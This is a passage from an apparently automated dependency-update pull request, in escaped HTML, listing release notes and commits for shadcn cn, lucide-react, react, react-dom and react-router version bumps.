later.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/cn/pull/164\"\u003e#164\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/cn/commit/64aa1d0b6c708f1a23e53ade4db6c8c278eceb75\"\u003e\u003ccode\u003e64aa1d0\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - \u003ccode\u003ecn build\u003c/code\u003e now follows package \u003ccode\u003e@import\u003c/code\u003es, reads \u003ccode\u003e@theme\u003c/code\u003e declarations after nested blocks such as \u003ccode\u003e@keyframes\u003c/code\u003e, and drops names declared before a \u003ccode\u003e--*: initial\u003c/code\u003e reset.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/cn/commit/8ebcbf09d1a3355c235295e804a6126f6f2f069a\"\u003e\u003ccode\u003e8ebcbf0\u003c/code\u003e\u003c/a\u003e chore(release): version packages (\u003ca href=\"https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn/issues/158\"\u003e#158\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/cn/commit/64aa1d0b6c708f1a23e53ade4db6c8c278eceb75\"\u003e\u003ccode\u003e64aa1d0\u003c/code\u003e\u003c/a\u003e fix(build): read \u003ca href=\"https://github.com/theme\"\u003e\u003ccode\u003e@​theme\u003c/code\u003e\u003c/a\u003e scales the way Tailwind builds them (\u003ca href=\"https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn/issues/164\"\u003e#164\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/cn/commit/c71bd53a351d99dca12f0808ea7e1c7134ec4945\"\u003e\u003ccode\u003ec71bd53\u003c/code\u003e\u003c/a\u003e chore: migrate tooling to Vite+ (\u003ca href=\"https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn/issues/156\"\u003e#156\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/cn/commit/663adeaa0ac37af101aa7790f2ce44df4a7e5043\"\u003e\u003ccode\u003e663adea\u003c/code\u003e\u003c/a\u003e chore: drop Node 20 (\u003ca href=\"https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn/issues/157\"\u003e#157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/shadcn-ui/cn/commits/cn@0.5.0/packages/cn\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.52.0 to 1.60.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.60.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003etombstone\u003c/code\u003e icon by \u003ca href=\"https://github.com/ryck\"\u003e\u003ccode\u003e@​ryck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4929\"\u003elucide-icons/lucide#4929\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003esmartphone-user-round\u003c/code\u003e icon by \u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebacon\u003c/code\u003e icon by \u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix build by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5033\"\u003elucide-icons/lucide#5033\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(docs): Update icon count comparison with Feather Icons by \u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eletter-spacing\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the vue-deps group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5027\"\u003elucide-icons/lucide#5027\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump react-native from 0.87.1 to 0.88.0 in the react-native-deps group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5030\"\u003elucide-icons/lucide#5030\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eline-height\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3039\"\u003elucide-icons/lucide#3039\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the svelte-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5028\"\u003elucide-icons/lucide#5028\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the react-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5026\"\u003elucide-icons/lucide#5026\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebrain-off\u003c/code\u003e icon by \u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003egraph-hub\u003c/code\u003e icon by \u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(svelte): export __iconData and __iconNode across per-icon modules (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4936\"\u003e#4936\u003c/a\u003e) by \u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.59.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): Adds search field to docs pages by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5012\"\u003elucide-icons/lucide#5012\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003echess-queen\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4613\"\u003elucide-icons/lucide#4613\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.58.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): add third-party package lucide-jte by \u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(integration-tests): Add Svelte integration tests for \u003ccode\u003e@ucide/svelte\u003c/code\u003e by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5005\"\u003elucide-icons/lucide#5005\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the angular-deps group across 1 directory with 10 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5004\"\u003elucide-icons/lucide#5004\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix homepage animation by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5015\"\u003elucide-icons/lucide#5015\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): auto-generate PR titles from added file paths by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4790\"\u003elucide-icons/lucide#4790\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003ebarrel\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4639\"\u003elucide-icons/lucide#4639\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(dev): fix \u0026quot;Generate PR Title\u0026quot; job by using REST API for changed files by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5017\"\u003elucide-icons/lucide#5017\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ecertificate\u003c/code\u003e icon by \u003ca href=\"https://github.com/rrod497\"\u003e\u003ccode\u003e@​rrod497\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4327\"\u003elucide-icons/lucide#4327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): update music icons by \u003ca href=\"https://github.com/jamiemlaw\"\u003e\u003ccode\u003e@​jamiemlaw\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4072\"\u003elucide-icons/lucide#4072\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/fa238cf2787d64393b74121631b518cee0c909c2\"\u003e\u003ccode\u003efa238cf\u003c/code\u003e\u003c/a\u003e chore(deps): bump the react-deps group across 1 directory with 2 updates (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/5026\"\u003e#5026\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/3f1255ecfa1b5b3a231e4aeb027781761204e187\"\u003e\u003ccode\u003e3f1255e\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​vitejs/plugin-react\u003c/code\u003e (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4995\"\u003e#4995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/949bc6d61f5964a98f99f4eb9b5bc291949ca18f\"\u003e\u003ccode\u003e949bc6d\u003c/code\u003e\u003c/a\u003e test(lucide-react): add tests for DynamicIcon fallback and ref forwarding (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4\"\u003e#4\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.60.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-router` from 8.4.0 to 8.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/remix-run/react-router/releases\"\u003ereact-router's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.5.0\u003c/h2\u003e\n\u003cp\u003eSee the changelog for release notes: \u003ca href=\"https://github.com/remix-run/react-router/blob/main/CHANGELOG.md#v850\"\u003ehttps://github.com/remix-run/react-router/blob/main/CHANGELOG.md#v850\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/remix-run/react-router/blob/main/packages/react-router/CHANGELOG.md\"\u003ereact-router's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.5.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate React Router's view transition APIs in favor of React's \u003ccode\u003e\u0026lt;ViewTransition\u0026gt;\u003c/code\u003e component, available in React 19.3 and later (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15493\"\u003e#15493\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eDeprecate the \u003ccode\u003eviewTransition\u003c/code\u003e props/options, \u003ccode\u003euseViewTransitionState\u003c/code\u003e, and \u003ccode\u003eNavLink\u003c/code\u003e's \u003ccode\u003eisTransitioning\u003c/code\u003e render prop and \u003ccode\u003etransitioning\u003c/code\u003e class\u003c/li\u003e\n\u003cli\u003ePreserve existing behavior, including support for older React versions\u003c/li\u003e\n\u003cli\u003eSee the \u003ca href=\"https://reactrouter.com/how-to/view-transitions\"\u003emigration guide\u003c/a\u003e for a navigation example and compatibility considerations\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Await\u0026gt;\u003c/code\u003e failing to server render promises decoded from an RSC payload, which caused the Suspense boundary to switch to client rendering (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDeclare \u003ccode\u003e@types/react\u003c/code\u003e and \u003ccode\u003e@types/react-dom\u003c/code\u003e as optional peer dependencies so the shipped type definitions resolve React types under strict (non-hoisted) node_modules layouts (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15528\"\u003e#15528\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix the \u003ccode\u003eunstable_useRouterState\u003c/code\u003e documentation example to call the imported alias (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15535\"\u003e#15535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRender the \u003ccode\u003eHydrateFallback\u003c/code\u003e of a route discovered through \u003ccode\u003epatchRoutesOnNavigation\u003c/code\u003e during initial hydration (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15537\"\u003e#15537\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eRoutes discovered during initial hydration are now exposed in \u003ccode\u003estate.matches\u003c/code\u003e while their loaders run, so \u003ccode\u003e\u0026lt;RouterProvider\u0026gt;\u003c/code\u003e renders down to the discovered route's \u003ccode\u003eHydrateFallback\u003c/code\u003e instead of rendering nothing\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFix router state recovery when updates occur before \u003ccode\u003eRouterProvider\u003c/code\u003e subscribes, including when other subscribers are already attached, and report current client errors once without replaying server errors during hydration (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15637\"\u003e#15637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ematchPath\u003c/code\u003e not treating a static segment as optional when it contains characters outside \u003ccode\u003e[\\w-]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15425\"\u003e#15425\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix an RSC server crash when a client aborts a document request while the HTML stream waits for the RSC payload (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15612\"\u003e#15612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStop revalidating a fetcher after \u003ccode\u003efetcher.reset()\u003c/code\u003e, so its cleared data no longer comes back on the next revalidation (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15633\"\u003e#15633\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eUnstable Changes\u003c/h3\u003e\n\u003cp\u003e⚠️ \u003cem\u003e\u003ca href=\"https://reactrouter.com/community/api-development-strategy#unstable-flags\"\u003eUnstable features\u003c/a\u003e are not recommended for production use\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd an \u003ccode\u003eunstable_fetch\u003c/code\u003e prop to \u003ccode\u003e\u0026lt;HydratedRouter\u0026gt;\u003c/code\u003e to customize JavaScript-issued manifest and server data requests in conventional Framework Mode (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15586\"\u003e#15586\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThe function receives the intended request as well as context identifying the type of request\u003c/li\u003e\n\u003cli\u003eData request context includes \u003ccode\u003enavigationType\u003c/code\u003e (\u003ccode\u003e\u0026quot;PUSH\u0026quot;\u003c/code\u003e, \u003ccode\u003e\u0026quot;REPLACE\u0026quot;\u003c/code\u003e, or \u003ccode\u003e\u0026quot;POP\u0026quot;\u003c/code\u003e for navigation-initiated requests, including reloaded fetchers; \u003ccode\u003enull\u003c/code\u003e otherwise)\n\u003cul\u003e\n\u003cli\u003eData strategies receive equivalent metadata through \u003ccode\u003eunstable_initiator\u003c/code\u003e and \u003ccode\u003eunstable_navigationType\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eThe custom fetch context is a discriminated union, so narrowing \u003ccode\u003etype\u003c/code\u003e to \u003ccode\u003e\u0026quot;navigation\u0026quot;\u003c/code\u003e guarantees a non-null \u003ccode\u003enavigationType\u003c/code\u003e, while other data requests have a \u003ccode\u003enull\u003c/code\u003e \u003ccode\u003enavigationType\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003eFetchers reloaded after an initialization redirect retain the \u003ccode\u003e\u0026quot;initialization\u0026quot;\u003c/code\u003e type and include their fetcher key\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eLike other router initialization options, the implementation is captured when the singleton router is created and thus subsequent prop changes are ignored\u003c/li\u003e\n\u003cli\u003eBrowser-managed data prefetches from \u003ccode\u003e\u0026lt;Link prefetch\u0026gt;\u003c/code\u003e use native \u003ccode\u003e\u0026lt;link rel=\u0026quot;prefetch\u0026quot;\u0026gt;\u003c/code\u003e elements and do not call the custom implementation\u003c/li\u003e\n\u003cli\u003eUse the callback for custom fetch options, custom headers, safe request retries, or response header inspection\u003c/li\u003e\n\u003cli\u003eReturn response bodies unchanged so React Router can decode its manifest and Turbo Stream data protocols\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eSupport API-only Framework Mode with runtime server data loading, actions, revalidation, and lazy route discovery (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15601\"\u003e#15601\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eHydrate prerendered pages from build-time data and fetch server loader data when hydrating a SPA fallback\u003c/li\u003e\n\u003cli\u003ePreserve normal loader revalidation and server-action support for eagerly loaded and lazily discovered routes, and honor loader opt-outs when making server data requests\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eunstable_useRouteDiscovery\u003c/code\u003e for application-controlled route discovery in conventional Framework Mode (\u003ca 